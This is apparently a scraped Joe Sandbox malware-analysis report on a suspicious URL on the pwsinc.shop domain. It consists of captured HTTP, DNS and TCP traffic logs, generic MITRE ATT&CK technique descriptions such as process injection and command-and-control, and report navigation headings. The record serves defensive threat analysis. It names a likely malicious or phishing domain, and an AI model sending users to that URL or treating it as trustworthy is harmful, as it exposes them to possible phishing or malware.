Source: global traffic	HTTP traffic detected: GET /js/bg/dubcxWuhhbqw8uaLSFFGvELnk5WmffD3wjoYeQZ33gk.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHp&co=aHR0cHM6Ly8wLnB3c2luYy5zaG9wOjQ0Mw..&hl=en&v=xds0rzGrktR88uEZ2JUvdgOY&size=normal&cb=k3o38yz6anvyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/bframe?hl=en&v=xds0rzGrktR88uEZ2JUvdgOY&k=6Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHp HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://0.pwsinc.shop/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/webworker.js?hl=en&v=xds0rzGrktR88uEZ2JUvdgOY HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/bg/dubcxWuhhbqw8uaLSFFGvELnk5WmffD3wjoYeQZ33gk.js HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA5Xy4plWRp0xGOrKbTgf7USn7JzUl46qbrgNrLdXSpRUTGozCymoUkraLWUEcC_HwIbZz3SzrfQyrbWhsSAywus1mPldNOolr9VyHMbseVYi6tPAfOR_4e4mw8cd4xRqr8ScV4FHtZ6RTIRyzZQtR94s2vpEIBHezzL67jrQALXTQb6DbBvxHxi-6S9LK73hT22c-yC&k=6Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHp HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=xds0rzGrktR88uEZ2JUvdgOY&k=6Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHpAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AGteOyp93zRCaP7cAsCcZzF4zhZ-ILzArgZKOif4TQyq_QtDyZllpgk7xRFpO7fTV89raEeSx57z7935ZzWbXQw
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/reload?k=6Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHp HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AGteOyp93zRCaP7cAsCcZzF4zhZ-ILzArgZKOif4TQyq_QtDyZllpgk7xRFpO7fTV89raEeSx57z7935ZzWbXQw
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA5Xy4plWRp0xGOrKbTgf7USn7JzUl46qbrgNrLdXSpRUTGozCymoUkraLWUEcC_HwIbZz3SzrfQyrbWhsSAywus1mPldNOolr9VyHMbseVYi6tPAfOR_4e4mw8cd4xRqr8ScV4FHtZ6RTIRyzZQtR94s2vpEIBHezzL67jrQALXTQb6DbBvxHxi-6S9LK73hT22c-yC&k=6Lf74lMqAAAAAFqXGxj9CdECju7hWxuJ_fHrATHp HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09AGteOyp93zRCaP7cAsCcZzF4zhZ-ILzArgZKOif4TQyq_QtDyZllpgk7xRFpO7fTV89raEeSx57z7935ZzWbXQw

Source: global traffic	DNS traffic detected: DNS query: 0.pwsinc.shop
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://0.pwsinc.shop/?MKPT=Inc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 58

Chrome Cache Entry: 59

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Static File Info

Network Behavior

Windows Analysis Report
https://0.pwsinc.shop/?MKPT=Inc